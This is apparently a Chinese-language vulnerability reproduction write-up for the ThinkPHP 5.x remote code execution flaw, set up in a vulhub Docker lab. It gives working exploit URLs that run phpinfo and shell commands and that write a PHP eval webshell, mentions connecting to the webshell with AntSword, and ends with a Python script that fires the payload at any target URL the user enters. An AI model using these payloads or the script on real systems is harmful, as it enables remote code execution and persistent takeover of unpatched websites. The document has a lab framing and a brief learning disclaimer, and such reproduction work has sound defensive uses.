1漏洞描述
ThinkPHP是中国使用极为广泛的PHP开发框架。在其版本 5 中,由于框架错误地处理了控制器名称,如果网站未启用强制路由(默认),它可以执行任何方法,从而导致 RCE 漏洞。
2 影响范围
受影响的版本包括 5.0.23 和 5.1.31 之前的所有版本
3漏洞环境搭建
cd vulhub/thinkphp/5.rce 环境部署命令 docker compose up -d 查看端口 docker-compose ps
容器搭建成功之后,能够在浏览器中正确访问页面
4 使用payload进行复现
直接访问,它将执行 phpinfo
http://192.168.135.132:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
任意代码执行
http://192.168.135.132:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id
写入webshell
http://192.168.135.132:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%3F%3E
访问shell.php
使用蚁剑连接webshell
5使用python脚本探测漏洞是否存在
此代码用于实验,
#!/usr/bin/env python import requests from urllib.parse import urljoin def thinkphp5x_rce(url): poc = r'index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0', 'Content-Type': 'application/x-www-form-urlencoded', } payload = urljoin(url,poc) response = requests.post(url=payload, verify=False, headers=headers) if 'www-data' in response.text: print("漏洞存在") else: print("漏洞不存在") if __name__ == '__main__': print("注意:本代码仅用于实验和学习目的,请谨慎使用。") url = input("请输入目标 URL: ") thinkphp5x_rce(url)
结果